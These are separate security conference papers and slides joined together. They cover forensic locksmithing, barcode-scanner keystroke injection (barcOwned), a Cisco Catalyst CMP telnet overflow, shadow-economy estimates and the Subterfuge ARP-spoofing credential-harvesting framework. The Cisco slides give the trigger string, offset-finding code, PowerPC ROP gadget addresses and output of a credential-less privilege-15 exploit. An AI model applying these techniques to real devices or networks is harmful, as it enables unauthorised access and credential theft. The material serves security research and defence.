the key is deformed and compressed. This happens to be a bump key's shoulder, caused by impact against
the face of the lock.
Material Transfer
Various materials are transferred to the key during use. Generally hair, fiber, and fingerprints will be
examined by a crime lab. The forensic locksmith, however, may examine the findings of the crime lab to
identify the uses of materials found on keys. In this photo (left) we see a light green residue, which
happens to be modeling clay.
In this photo (center) we find small traces of white wax left in the warding of the key. Both this and the
previous image indicate that the key has been impressioned (via copying). Through further analysis we
may be able to link these and other materials to those found in a suspects possessions.
Keys should also be viewed under various light sources to fight material residue that may not be visible
with the naked eye. In this photo (right), a key is being viewed under ultraviolet light to discover traces of
ultraviolet ink along the key bitting area, indicative of impressioning via manipulation.
Anti-Forensics & Surreptitious Entry
Forensics is a never ending cat and mouse game. Investigators look for better methods to determine what
happened while attackers are look for better ways to cover their tracks. So called 'anti-forensics' are
various techniques and methods to conceal evidence of entry.
In many cases the forensic locksmith is asked to provide an assessment of how plausible certain
surreptitious entry techniques are against a given lock. This can be done through a series of laboratory
tests, an analysis of the required skills, tools, or money required, and examination of the installation and
configuration details of the lock. Cases of completely surreptitious entry are viewed by the investigators
on the basis of what facts and logical conclusions present themselves.
The idea of anti-forensics materials in tools is a popular but not well researched (publicly) area. Lock
picks made of soft materials such as wood or plastic would, in theory, not leave any marks on the
considerably stronger brass, nickel-silver, or steel components. While they sound great in theory, they are
considerably harder to use in practice. Tools made of these materials are considerably weaker, less
maneuverable, and more prone to fracture or breakage than the steel normally used in tools. These types
of tools also exhibit drastically reduced feedback capabilities, important in many covert entry techniques,
when compared to metal. Coating standard tools with other materials has also been attempted, with
limited success. The best example is Teflon coated lock picks, which do not leave traditional marks, but
still leave marks.
Investigative Process
Investigations are broken down into several steps: crime scene investigation, laboratory examinations,
investigative reports, and expert testimony. Some investigations may not require all steps; evidence may
be mailed to you, testimony may not be required, and so on.
The goal of the investigation should be clearly defined from the start. Many investigations will not
require that you exhaust all possibilities, but instead give you a clear, direct goal. For example,
identifying if a key could have been used to open a lock, if the lock has any pick marks, or if a key
machine was used to make a specific key. All of this depends on who the forensic locksmith is working
for; insurance companies only need facts relating to their liability, but criminal investigations will be
looking for as much information as possible.
A thorough treatment of the investigative process as it relates to forensic locksmithing is available on the
Forensic Investigation page of Lockpicking Forensics.
Resources
Unfortunately, few free and readily accessible resources are available for forensic locksmithing.
LockpickingForensics.com and LockWiki.com are they only sites that deal with the topic in-depth. There
are at least three books that deal with the subject, but more often than not it is combined with generic
forensic investigation or tool mark identification literature.
Currently, the best English book on the subject is Locks, Safes, and Security by Marc Weber Tobias.
Chapters 24-27 deal extensively with forensic investigations of locks and keys. If you can afford it, it is
highly recommended. The forensic section can be purchased individually, but I would recommend buying
the full book instead. I would also recommend buying the multimedia edition of the book rather than the
print version. The multimedia edition comes with a wealth of audio and video recordings that deal with
forensic locksmithing.
If you can read German, then Manfred Göth's book Werkzeugspur ("Tool Traces") is available. I do not
read German, but I am told this book is excellent. Manfred Göth also authored the chapter on forensics in
Oliver Diederichsen's book Impressionstechnik ("Impressioning"). This book is available in both English
and German.
The International Association of Investigative Locksmiths (
IAIL
) provides licensing and certification for
forensic/investigative locksmiths. More information is available on their website.
There have been many articles published in locksmith and safe technician magazines over the past few
decades. Most, if not all, are unavailable in digital form and cannot be re-published due to copyright
laws. A few are included in the digital version of Locks, Safes, and Security, mentioned above.
If you are interested in general locksmithing or locksport resources, visit the Links page on Lockpicking
Forensics or the Community Portal on Lockwiki.
About the Author
My name is datagram and I run LockpickingForensics.com and LockWiki.com. Information on future
events including lectures, workshops, and lockpicking villages can be found on the Events page. Feel free
to contact me with any questions, comments, or criticisms about this paper or the website(s).
This paper is one of many forensic locksmithing and locksport articles on LockpickingForensics.com. | pdf |
Popping shells with your cereal box
Michael West
T3h Ub3r K1tten
Colin Campbell
magicspacekiwi
humans.txt
Michael West
magicspacekiwi
Enjoys scanning long barcodes
on the beach
Professional internet tube filler
"Master of the web"
Barcodes are everywhere
Barcodes are everywhere
Barcode scanners are everywhere
Barcodes usually decode to text
Code 128
UPC
Aztec
PDF417
QR
barcOwned
02626260
barcOwned
Did you ever hear the tragedy of Darth
Plagueis "the wise"? I thought not. It's not
a story the Jedi would tell you. It's a Sith
legend. Darth Plagueis was a Dark Lord of
the Sith, so powerful and so wise he could
use the Force to influence the
midichlorians to create life... He had such
a knowledge of the dark side that he could
even keep the ones he cared about from
dying. The dark side of the Force is a
pathway to many abilities some consider
to be unnatural.
https://038000144158.pw/
Scanner soliloquy
● Scanners are mostly the same
● Most common (default) mode:
○
Act as HID keyboard
○
Type buffer key by key
● What could we do if we could
○
Change the text on the fly?
○
Send arbitrary keystrokes?
○
Win + R?
To scan, or not to scan...
What could we do?*
*with proper permission in the scope of a legal, sanctioned pentest
It's not a bug!™
● Some symbologies add control chars
● Code 128:
○
107 possible characters
○
0 - 95: portions of ASCII
○
96-106: control chars
● Control chars trigger programming
● Majority of scanners support this
○
Manufacturer specific
FNC3
10111100010
Index: 96
Yes, it's in-band signaling
What can programming do?
● Exists for legacy systems
● "We use Cyberdyne to track
and herd our cats."
● "It's too expensive to
replace or modify."
● "Make it faster!"
● Real (fake) example
No, not THAT type of cat...
Herding cats
Herding cats
Barcoding cats
Cursor
Cursor
Cursor
Cursor
+ <tab>
+ F12
Scanning cats
Scanning cats
Programming is stupid simple
● Specify criteria
○
All barcodes (no criteria)
○
Barcodes that start with 9
○
Barcodes that contain "cat"
○
All UPC barcodes
● Specify actions when rule is triggered
● Can store multiple rules
○
Model-specific limits on size
"CatERP"
Actions we can do with rules
● Modify/replace text
● Ignore text
● Add extra characters
● Add special keys
○
Ctrl or Alt key combos
○
Windows/super key too!
● "Brick" scanners
○
Do nothing!
barcOwned
(finally)
● Payload design IDE
○
Payloads in JSON
○
Rapidly develop and test
● Abstracts most complexity
○
No deciphering manuals
● Supports Motorola Symbol
○
Send us scanners?
● Open source
Harder Than Ducky Script™
Demo
Can you turn it off?
Red team considerations
● Find beeper hole and cover it if possible
● Successful attacks take significant recon, planning
● BYOS - Bring Your Own Scanner
○
Detach scanner with screwdriver, plug your own in
● Even when systems are off, scanners may be powered
● Laser scanners will only work with paper or a Kindle
● Trick others into delivering barcodes
Let someone else do the dirty work
Blue team considerations
● No way to secure scanners from programming
○
Some models may not support it
● Assume scanners are hostile keyboards
○
Remove local admin
○
Use endpoint protection + app control
○
Limit PowerShell, cmd, run dialog, etc
● Filter malicious keys at OS-level
○
Or enforce non-HID modes
Related talks
● BadBarcode - Yang Yu
○
PacSec 2015 in Tokyo
○
Demoed attack, no paper/code released
● Toying with Barcodes - Felix Lindner
○
DEF CON 16 in 2008
○
General overview of barcodes as input vectors
Special thanks
● Terry Burton - BWIPP
● Mark Warren - bwip-js
● Hermit Hacker - shirts
● Dallas Hackers Association
● CyberArk - travel + support
barcowned.com
github.com/t3hub3rk1tten/barcowned
Michael West
@t3hub3rk1tten
mwe.st
Colin Campbell
@magicspacekiwi | pdf |
Cisco Catalyst
Exploitation
Artem Kondratenko
Whoami
-Penetration tester @ Kaspersky Lab
-Hacker
-OSC(P|E)
-Skydiver ;)
Cisco advisory
Cisco advisory
• The Cluster Management Protocol utilizes Telnet
internally as a signaling and command protocol between
cluster members. The vulnerability is due to the
combination of two factors:
• The failure to restrict the use of CMP-specific Telnet
options only to internal, local communications between
cluster members and instead accept and process such
options over any Telnet connection to an affected device,
and
• The incorrect processing of malformed CMP-specific
Telnet options.
Cisco advisory
.
Vault 7: Hacking Tools Revealed
Hacking techniques and potential exploit descriptions for
multiple vendors:
• Microsoft
• Apple
• Cisco
Cisco switch exploit
Codename: ROCEM
Vault 7: CIA Hacking Tools Revealed
Rocem: Modes of Interaction
• Set
• Unset
• Interactive Mode
Easy enough
• Take two switches
• Cluster dem switches!
• Look for a magic whatever there is in the traffic
• ???
• Profit!!
Clustering Cisco switches
Controlling Slave-switches from Master
$ telnet 192.168.88.10
catalyst1#rcommand 1
catalyst2#show priv
Current privilege level is 15
Clustering Catalyst switches
For real?
Clustering Cisco switches: L2 telnet
Magic telnet option
Telnet Debug log from Vault
ROCEM testing notes
Telnet commands and options
All Hope Is Lost
Replaying CISCO_KITS option during generic telnet session
doesn’t work
And also...
Cisco IPS rule for this vuln is called “Cisco IOS CMP Buffer
Overflow”
Peeking at firmware
The firmware is available at the flash partition of the
switch:
catalyst2#dir flash:
Directory of flash:/
2 -rwx
9771282 Mar 1 1993 00:13:28 +00:00 c2960-lanbasek9-mz.122-
55.SE1.bin
3 -rwx
2487 Mar 1 1993 00:01:53 +00:00 config.text
4 -rwx
3096 Mar 1 1993 00:09:27 +00:00 multiple-fs
Peeking at firmware
$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin
DECIMAL HEXADECIMAL DESCRIPTION
---------------------------------------------------------------
-----------------
1120x70 bzip2 compressed data, block size = 900k
Unpacked binary size is around 30 mb
The Reality
Jokes aside
• CPU Architecture: PowerPC 32 bit big-endian
• Entry point at 0x3000 (obvious during device boot process
if you look at it via serial)
Discovering functions with IDA python
Result:
~80k
functions
discovered
Aww.. the pain of static analysis
• No symbols.. Well, of course
• The whole OS is a single binary
• Indirect function call via function call tables filled at run
time
Setting up debug environment
• There’s no public SDK
• Some firmware has a “gdb kernel” command.
• Custom gdb server protocol
• Unsupported by modern versions of gdb
Two options:
• Dig up an old gdb version and try to patch it
• Use IODIDE
George Nosenko built an IDA adapter to debug IOS but it’s
not public
So I patched GDB…
IODIDE –
the smooth
experience
Well.. Had to debug
IODIDE to be able to
debug IOS
IODIDE
Hunting for string XREFS
After recognizing functions and strings with IDAPython
XREFS start to appear:
Digging deeper
CISCO_KITS
Client side send a string:
«\x03CISCO_KITS\x012::1:»
Second string modifier %s –
was observed empty in the
traffic dump
Let’s take a closer look at
the code that parses this
string
CISCO_KITS
Copying until “:” to the buffer residing on the
stack..
Buffalo overflow!
from pwn import *
payload = cyclic_metasploit(200)
sock.send(payload)
cyclic_metasploit_find(pc)
Crash – instruction pointer is overwritten by a 116th byte
Too easy?
• R9 points to our buffer
• No bad chars
• Wow, that looks to good to be true
• Just overwrite Program Counter with an instruction that
jump to R9
Fail
• Both heap and stack are non-executable. Btw, stack
resides on the heap ;)
• Device reboot
• But why?
A little flashback
• A brilliant talk by Felix @ BlackHat
Return oriented programing
• Code reuse in the binary
• Using stack as the data source
r
Epilog chaining to perform arbitrary
memory writes
Typical function epilog in the firmware
Looking for gadgets
• https://github.com/sashs/Ropper
Ok, whatever dude... But whatcha
gonna write?
First thing that comes to mind – patch the execution flow,
responsible for the credential check.
Wow… Looks like it worked:
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1>
Not quite
Works only under the debugger. Exception is triggered
when trying to exploit the live set-up
More static analysis
• A couple of hours (days?) later...
Indirect function calls
Got privileges? No creds required
1st gadget
0x000037b4:
lwz r0, 0x14(r1)
mtlr r0
lwz r30, 8(r1)
lwz r31, 0xc(r1)
addi r1, r1, 0x10
blr
1. Put ret address into r0
2. Load data pointed by r1+8 into r30 (is_cluster_mode
func pointer)
3. Load data pointed by r1+0xc into r31 (address of “ret
1” function)
4. Add 0x10 to stack pointer
5. BLR! We jump to the next gadget
2st gadget
0x00dffbe8:
stw r31, 0x34(r30)
lwz r0, 0x14(r1)
mtlr r0
lmw r30, 8(r1)
addi r1, r1, 0x10
blr
1. Write r31 contents to memory pointer by
r30+0x34
2. Move next gadget’s address into r0
3. Junk code
4. Shift stack by 0x10 bytes
5. BLR! Jump to the next gadget
3rd, 4th and 5th gadgets
0x0006788c:
lwz r9, 8(r1)
lwz r3, 0x2c(r9)
lwz r0, 0x14(r1)
mtlr r0
addi r1, r1, 0x10
blr
1. r3 = *(0x2c + *(r1+8)) - address of
pointer to get_privilege_level func
2. R31 = *(r1 + 8) – r31 conteints address
of function that always return 15
3. Overwrite the pointer
0x006ba128:
lwz r31, 8(r1)
lwz r30, 0xc(r1)
addi r1, r1, 0x10
lwz r0, 4(r1)
mtlr r0
blr
0x0148e560:
stw r31, 0(r3)
lwz r0, 0x14(r1)
mtlr r0
lwz r31, 0xc(r1)
addi r1, r1, 0x10
blr
PROFIT!
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
Side note
• These switch models are common on pentests
• Successfully exploited this vulnerability on real life
engagements:
• Leak firmware version via SNMP
• Customize exploit
• Enjoy your shell
Conclusion
• Exploitation challenges:
• Shellcode reliability for multiple firmware versions
• Automating the search for suitable ROP gadgets
• Finding a way execute arbitrary PPC instructions instead of
arbitrary memory writes
Thanks!
@artkond
artkond.com | pdf |
Measuring and Integrating the
Shadow Economy:
A Sector-Specific Approach
Brian K. Edwards, Ph.D.
Silvio J. Flaim, Ph.D.
Los Alamos National Laboratory
June 30, 2008
2
Overview
• Scope of shadow economic activity
• Size of shadow economy in the United States
and other countries
• Why shadow economies exist
• Adding a shadow information sector to
simplified version of the official economy
• Shadow-official economy interactions
• Benefits and burdens of shadow economic
activity
3
The Scope of Shadow
Economy Activity
All do-it-yourself
work and neighbor
help
Barter of legal
goods and
services
Employee discounts,
fringe benefits
Income from self-
employment;
Wages, salaries and
assets from
unreported work
related to legal
services and goods
Legal
Activities
in the
Shadow
Economy
Tax Avoidance
Tax Evasion
Tax Avoidance
Tax Evasion
Nonmonetary Transactions
Monetary Transactions
Adapted from Schneider and Enste (2000).
Barter: stolen goods, smuggling, etc.
Produce or growing drugs for own use.
Theft for own use.
Trade in stolen goods; drug dealing and
manufacturing; prostitution, gambling,
smuggling (international and inter-state) and
fraud.
Counterfeiting.
Computer system hacking; trading stolen
information; identity theft; spamming (?)
Illegal
Activities
4
Measuring the Shadow
Economy
• Virtually all previous studies on measuring the
size of the shadow economy focus on the
aggregate shadow economy, usually
expressed in terms of the size of the official
economy.
• Little or no work attempting to estimate the
size of specific shadow economy sectors
within the context of the rest of the legal
economy.
5
Shadow Economy in US
• Schneider and Enste (2000) estimate the total
US shadow economy at between 8 and 10
percent of US GDP, or from $1 to $1.4 trillion.
• Evidence on the size of specific sectors of the
shadow economy in the US is largely
anecdotal, and does not attempt to analyze
how the shadow economy is linked to the
official economy.
6
International Comparisons
• Estimates of the aggregate shadow
economies of different countries vary widely.
• Some examples:
– The shadow economies of Thailand, Nigeria, and
Egypt amount to about 70 percent of their
respective GDP.
– The shadow economies of Guatemala, Mexico,
Panama, and Peru amount to 40 to 60 percent of
their respective GDP.
– The shadow economies of the Philippines, Sri
Lanka, Malaysia, and South Korea amount to 30
to 50 percent of their respective GDP.
7
International Comparisons
Developing Countries
% of GDP Transition Economies
% of GDP
Africa
Central Europe
Nigeria, Egypt
68-76%
Hungary, Bulgaria,
Poland
20-28%
Tunisia, Morocco
39-45%
Romania, Slovakia,
Czech Republic
9-16%
Central and South America
Former Soviet Union
Countries
Guatemala, Mexico, Peru,
Panama
40-60%
Georgia, Azerbaijan,
Ukraine, Belarus
28-43%
Chile, Costa Rica,
Venezuela, Brazil, Paraguay,
Colombia
25-35%
Russia, Lithuania,
Latvia,
Estonia
20-27%
Asia
OECD Countries
Thailand
70%
Greece, Italy, Spain,
Portugal, Belgium
24-30%
Philippines, Sri Lanka,
Malaysia, South Korea
38-50%
Sweden, Norway,
Denmark, Ireland,
France,
Netherlands, Germany,
Great Britain
13-23%
Hong Kong, Singapore
13%
Japan, United States,
Austria, Switzerland
8-10%
Source: Schneider and Enste (2000)
8
Why Shadow Economies Exist
• Analysis by Becker (1968) and others suggests that
people engage in shadow economic activity for
financial/economic gain, and weigh expected gains
with expected costs (factoring in risk) in ways not
inconsistent with the predictions of traditional
economic theory.
• Some incentive areas include:
– Burden of taxes and social insurance contributions
– Intensity of regulation
– Social transfers
– Labor market regulation
– Public Sector Services
9
Incentive Issues
• Burden of taxes and social insurance contributions
– Differences between total cost of labor in the official
economy and after-tax labor earnings provides an incentive
to sell labor in the shadow economy.
– Loayza (1997) estimated the size of the shadow economies
of 14 Latin American countries and found that greater tax
burdens and labor market restrictions increased the size of
the shadow economies of those countries.
• Intensity of regulation
– Increased regulation reduces individuals’ choices in the
official economy.
– Shifting regulatory costs to employees provides incentives
for workers to supply labor to the shadow economy.
10
Incentive Issues (continued)
• Social transfers
– The social welfare system can increase the marginal tax
rate, thereby reducing incentives to work in the official
economy.
– This system can also provide disincentives for individuals
receiving welfare payments to seek work in the official
economy.
• Labor market regulation
– Overregulation and labor costs in the official labor market
are driving forces for the shadow economy (Schneider and
Enste, 2000).
– Forced reductions in working hours contrary to employee
preferences increases the potential hours they can work in
the shadow economy.
11
Incentive Issues (continued)
• Public Sector Services
– An increase in the shadow economy decreases government
revenues, which can reduce the quantity and quality of public
services.
– This can lead to increased taxes in the official sector which, along
with the deterioration in the quality of public goods, can provide
additional incentives to participate in the shadow economy.
– Johnson, Kaufmann, and Zoido-Lobatón (1998) show that smaller
shadow economies appear in countries with higher tax revenues, if
achieved by lower tax rates, fewer laws and regulations, and less
bribery facing enterprises.
– They also find that countries with a better rule of law which is
financed by tax revenues also have smaller shadow economies.
12
Shadow-Official Economy Links
• Previous work that attempts to link the official
and shadow economies are macroeconomic.
• For example:
– Houston (1987) develops a business cycle model
that includes tax and monetary policy linkages.
– Adam and Ginsburg (1985) focus on the
implications of the shadow economy on official
growth.
13
Focus on Information Sector
• The shadow information sector is
composed of individuals and
organizations engaged in:
– Computer system hacking
– Trading stolen information
– Identity theft
– Spamming
– Other activities
14
Shadow Information Sector
and Rest of Economy
• Input-Output (IO) models have long been
used to examine inter-industry linkages and
how, among other things, changes in final
demand affect the demand for goods and
services in specific industries.
• A preliminary input-output formulation of the
US economy with an added shadow
information sector is developed and
presented.
15
Simplified 3-Sector Official
Economy
• Consider a 3-sector economy with manufacturing,
services and other, and information sectors. The
economy is aggregated into these three sectors to
simplify presentation.
• The following input-output table illustrates how these
industries interact in the production of goods and
services for our hypothetical economy.
• The figures are based on 2002 US economic
statistics and are expressed in billions of dollars.
• Table shows 2002 GDP of approximately $10.7
trillion.
16
Input-Output Representation
of Hypothetical Official
Economy
19,180.0
10,671.9
-
955.4
14,374.1
3,850.5
Total Industry
Output
-
-
-
530.8
8,860.8
1,280.2
Value Added
19,180.0
10,671.9
8,508.1
424.5
5,513.3
2,570.3
Total Intermediate
Inputs
779.4
400.2
379.2
131.3
215.9
32.0
Information
14,598.0
8,879.1
5,718.9
238.8
4,279.1
1,201.0
Services and Other
3,802.6
1,392.6
2,410.0
54.4
1,018.3
1,337.3
Manufacturing
Total
commodity
output
Total
final uses
(GDP)
Total
intermediate
use
Information
Services and
Other
Manufacturing
(Billions of Dollars)
17
Simplified 4-Sector Economy
with Shadow Information Sector
•
Now consider two versions of the economy with an additional
shadow information sector that accounts for either 1 or 3
percent of official information sector output.
•
In constructing this table, we do not change the other inter-
industry transactions, even though these would likely change
given the overall reconstitution of economic activity that would
occur.
•
The 1 to 3 percent range comes from the OECD report
Measuring the Non-Observed Economy: A Handbook (2002)
and are based on their lower- and upper-bound estimates of the
size of the hacker economy in developed countries.
•
For the 1-percent case, the following input-output table
illustrates how industries interact in the production of goods and
services.
18
Economy with Hacker Sector:
1-Percent Case
(Billions of Dollars)
19,302.9
10,784.8
9,261.0
11.5
962.0
14,464.9
3,863.6
Total Industry
Output
742.8
5.3
536.1
8,949.5
1,293.0
Value Added
19,302.9
10,784.8
8,518.2
6.2
425.9
5,515.5
2,570.6
Total Intermediate
Inputs
11.9
6.2
5.8
2.0
1.3
2.2
0.3
Shadow Information
Sector
784.7
404.2
380.5
1.3
131.3
215.9
32.0
Information
14,689.2
8,967.9
5,721.3
2.4
238.8
4,279.1
1,201.0
Services and Other
3,817.1
1,406.5
2,410.6
0.5
54.4
1,018.3
1,337.3
Manufacturing
Total
commodity
output
Total final
uses
(GDP)
Total
intermediate
use
Shadow
Information
Sector
Information
Services
and Other
Manufacturing
19
Discussion: 1-Percent Case
•
This hypothetical example shows possible interactions
between the official and shadow economies.
•
2002 GDP is higher by a little over one percent ($10.75
trillion) since we now include an an additional sector in the
GDP calculation which were are now measuring.
•
This example only shows addition of shadow information
sector. Other shadow sectors could be added.
•
This example does not show other kinds of burdens imposed
on the economy, such as additional spending by firms to
monitor and prevent hacking activity.
•
Spending by firms to offset hacking would show up as higher
expenditures by industries on output produced by the official
information sector and possibly on other sectors.
20
Economy with Hacker Sector:
3-Percent Case
(Billions of Dollars)
19,549.0
11,010.7
9,291.7
34.6
975.3
14,646.4
3,889.9
Total Industry
Output
753.5
15.9
546.8
9,126.7
1,318.6
Value Added
19,549.0
11,010.7
8,538.2
18.7
428.5
5,519.8
2,571.2
Total
Intermediate
Inputs
36.1
18.7
17.4
6.0
3.9
6.5
1.0
Shadow
Information
Sector
795.4
412.2
383.2
3.9
131.3
215.9
32.0
Information
14,871.5
9,145.5
5,726.0
7.2
238.8
4,279.1
1,201.0
Services and
Other
3,846.1
1,434.4
2,411.6
1.6
54.4
1,018.3
1,337.3
Manufacturing
Total
commodity
output
Total final
uses (GDP)
Total
intermediate
use
Shadow
Information
Sector
Information
Services and
Other
Manufacturing
21
Discussion: 3-Percent Case
•
2002 GDP is higher by a little over three percent ($11.01 trillion)
since we now include an an additional sector in the GDP
calculation which were are now measuring.
•
These examples, though largely hypothetical, give us some
sense of how adding a shadow information sector would affect
the national income and product accounts using the IO
framework.
•
We could also add additional shadow components of other
industries. Illegal drug manufacturing would, for example require
additional shadow agricultural and shadow manufacturing
sectors (as well as possible wholesale and retail sectors).
22
Employment in the Hacker
Economy
•
According to the US Bureau of Labor Statistics (BLS), 2007
employment in the entire information industry was a little over 3 million
persons, which is somewhat less than the 3.4 million employed in 2002.
•
If we apply the one percent figure that was used above to estimate the
size of the shadow economy, we get an estimate of 2002-shadow
information industry employment of 33,950 persons.
•
The higher-end estimate of 3 percent of information industry output to
estimate employment in the shadow information sector yields a 2002
estimate of a 101,850 persons, but the same caveats apply.
•
However, this estimate must be treated with caution; a better method of
estimating employment might be to develop estimates from the bottom-
up, i.e., based on estimates of employment in each of part of the
shadow information sector and then combining these estimates.
23
Summary and Conclusions
•
One complication associated with developing reliable and stable
estimates of the size of the hacker economy is that it is a sector that is
in a continual state of flux; it changes as innovations occur in a highly
innovative industry and the kinds of innovations that occur in the
information sector are particularly difficult to forecast or foresee.
•
More detailed information on the different hacker activities could be
obtained with additional research and these estimates could be
integrated into the broader economic framework discussed here.
•
Progress on this front would also make measuring the burden that the
various forms of hacking cause to the overall economy and to individual
industries possible.
•
Additional analysis can include applying using the methodology
developed here and refined further to other countries and using those
comparisons to adjust estimates of trade between countries. This is not
only important for improving the quality of information about
comparative economic activity between countries, but could also see
application in analyzing vulnerabilities to the US economy that result
from hacker activity in foreign countries.
24
Selected References
•
Adam, Markus C. and Victor Ginsburg. 1985. “The Effects of Irregular Markets
on Macroeconomic Policy: Some Findings for Belgium,” European Economic
Review, 29:1, pp. 15-33.
•
Becker, Gary S. 1968. “Crime and Punishment: An Economic Approach.”
Journal of Political Economy. 76, no. 2 (March/April), pp. 169-217.
•
Houston, John F. 1987. “Estimating the Size and Implications of the
Underground Economy,” Working Paper 87-9, Federal Reserve Bank
Philadelphia.
•
Johnson, Simon; Daniel Kaufmann, and Pablo Zoido-Lobatón. 1998. “Regulatory
Discretion and the Unofficial Economy,” American Economic Review, 88:2, pp.
387-92.
•
Loayza, Norman V. 1997. “The Economics of the Informal Sector: A Simple
Model and Some Empirical Evidence from Latin America.” World Bank Policy
Research Department Working Paper 1727.
•
Organization for Economic and Cooperation and Development (OECD). 2002.
Measuring the Non-Observed Economy: A Handbook. Paris, France.
•
Schneider, Frederick and Dominick H. Enste. 2000. “Shadow Economies: Size,
Causes, and Consequences,” Journal of Economic Literature, Vol. XXXVIII
(March), 77-114.
•
United Nations. 1999. Handbook of Input-Table Compilation and Analysis. New
York. | pdf |
Walk into Starbucks, plop down a laptop, click start, watch the credentials roll in. Enter Subterfuge, a Framework to
take the arcane art of Man-in-the-Middle Attacks and make it as simple as point and shoot. Subterfuge demonstrates
vulnerabilities in the ARP Protocol by harvesting credentials that go across the network, and even exploiting machines
through race conditions. Now walk into a corporation…
A rapidly-expanding portion of today’s Internet strives to increase personal efficiency by turning tedious or complex processes into
a framework which provides instantaneous results. On the contrary, much of the information security community still finds itself
performing manual, complicated tasks to administer and protect their computer networks. The purpose of this publication is to
discuss a new Man-In-The-Middle attack tool called Subterfuge. Subterfuge is a simple but devastatingly effective credential-
harvesting program, which exploits vulnerabilities in the inherently trusting Address Resolution Protocol. It does this
in a way that even a non-technical user would have the ability, at the push of a button, to attack all machines connected
to the network. Subterfuge further provides the framework by which users can then leverage a MITM attack to do
anything from browser/service exploitation to credential harvesting, thus equipping information and network security
professionals and enthusiasts alike with a sleek “push-button” security validation tool.
Abstract:
Christopher M. Shields
r00t0v3rr1d3
Matthew M. Toussain
0sm0s1z
“He who is prudent and lies in wait for an enemy who is not, will be victorious.” –-Sun Tzu
Enter Subterfuge, a Framework for Man-in-the-Middle Attacks, where credentials are up for the taking.
The Framework
4
Enter Subterfuge, an Easier Way to See the Unseen
1
The MITM Framework
Give me the numbers. How bad is MITM really? The state of security on the Local Area Network and why you
should be concerned.
Walk into Starbucks, plop down a laptop, click start, watch the credentials roll in. Now walk into a
corporation…
3
Background & Introduction
Outline
Introduction: Why Subterfuge?
User-friendly network attack tools are quick to make national headlines due to the threat they pose and because, “in
truth, the tools and techniques employed by hackers are extremely complex [1].” Firesheep, a Firefox web browser
plugin, is just such a tool. It was designed to capture cookies created during the login process for secure web sites, and it
does this at the push of a button. Firesheep’s push-button simplicity and overwhelming effectiveness led to its ubiquitous
use by skilled professionals and non-skilled users alike, thus focusing attention on a fixable yet often-ignored error in web
site implementation.
The Subterfuge Project attempts to use the paradigm popularized by Firesheep, Armitage, and other user-friendly
network attack tools to create a framework for Man-In-The-Middle (MITM) network attacks. A MITM attack uses
eavesdropping to insert a malicious entity into the communication path between legitimate users on a network [2]. This
entity can then masquerade as either of the legitimate users in order to capture sensitive information, like login
credentials for a protected web site. Typically, a MITM attack requires a significant amount of complex, text-based
configuration of numerous software programs. This complexity, combined with the virtually never-ending reports of
stolen identities and online credential theft, makes the MITM attack a prime candidate for the creation of a user-friendly,
simplified framework.
Thus, we designed this framework to have a simple interface with minimal configuration requirements in order to appeal
to skilled and non-skilled network security professionals and users. Subterfuge has a sleek web based interface to allow a
user to deploy the software quickly and easily without editing sophisticated text-based configuration files. Subterfuge
automates the configuration process or, alternately, streamlines it with a Graphical User Interface (GUI). It also allows the
user to view a report of all the different credentials that were harvested. The ease with which the general populace would
be able to use Subterfuge will demonstrate to information security professionals the dangers of MITM attacks on a large
scale.
Subterfuge is developed with the Python programming language and uses a SQLite database. ARPSpoof from the Dsniff
suite is used to poison the target network. Subterfuge also uses SSLStrip to collect user credentials that were sent over a
secure socket layer (SSL) web connection.
The Subterfuge Project’s purpose is to demonstrate pervasive vulnerabilities in the ARP protocol…
Setting up Subterfuge is Quick, Easy, and Intuitive.
2
Man-in-the-Middle Threat Analysis
So what is the big deal? Well a study from Cornell University’s Center for Hospitality Research stated that over 90% of
hotels provide wireless Internet access to their customers, and the vast majority of these access points are susceptible to
ARP Poisoning Attacks [9].
There are two significant types of MITM attacks: Passive and Active. In a Passive attack, a hacker can observe what his
victim is viewing, which allows the attacker to steal credentials and session cookies. In an Active attack, “the target is
entirely controlled by the attacker, rather than being limited by the extent of the victim's browsing activity” [3].
Several major websites, such as Google and Facebook, have recently realized a significant blunder on their part in terms
of browsing security for their users. Facebook used to encrypt solely the login traffic, which contained the username and
password of the individual. Afterwards, the session returned to a regular, plain-text browsing session which could be
intercepted and easily read by anyone who might be performing a MITM attack. In a paper on the security issues which
are challenging Facebook, the need to “educate Facebook users about using secure socket layer (SSL) applications” is
discussed as a prerequisite to protecting their users from identity theft [4].
In addition to web site design and implementation errors, the network Address Resolution Protocol (ARP) itself has
residual vulnerabilities that are commonly exploited during a MITM attack. The extent to which computers on a local
network rely on, and inherently trust the responses of, ARP messages is alarming. If ARP message processing remains
uncontrolled, ARP sniffing and poisoning can occur, which means that an attacker can begin the process of masquerading
as a legitimate user [5]. Current steps that the security community has made to secure ARP are woefully inadequate.
Heightened awareness of the threat implicated by MITM attacks should become more commonplace amongst both
computer users and security professionals.
Current Deployment Complications
The primary reason MITM is not seen as a greater threat to network security is because it is not as easy to implement as
other attack vectors. There is no simplistic point-and-click framework to execute a standard MITM attack. Hacking tools
in this arena are either very easy to use but difficult to configure and update (Firesheep), or they require a significant
amount of configuration and are not intuitive (Ettercap). Therefore, such exploitation is not as commonplace as other,
more popular attack vectors. Our framework will use the software ARPSpoof and SSLStrip, and will further automate the
attack process and make it as simple as pushing a button.
Software: ARPSpoof
ARPSpoof is a simple tool that allows a user to masquerade as the network gateway by spamming ARP Packets. This
causes their MAC Address to be associated with the IP address of the default gateway thereby initiating a MITM
connection. ARPSpoof is unsupported as of 2001; however, it does have a Win32 port for cross-platform compatibility [8].
In the future Subterfuge will include its own module to ARP Cache Poison. The Subterfuge module will allow for more
attack configuration options.
Software: SSLStrip
SSLStrip is another useful tool due to its ability to hijack HTTP (Hypertext Transfer Protocol, or web) traffic on a network,
watch for HTTPS (HTTP-Secure) links and activity, and then map those links into look-alike HTTP links [7]. SSLStrip also
provides a feature to supply a favicon which looks like a lock icon, giving the impression that the web connection is
secure. SSLStrip is used transparently (i.e., without the user’s knowledge) to convert an encrypted SSL session into a
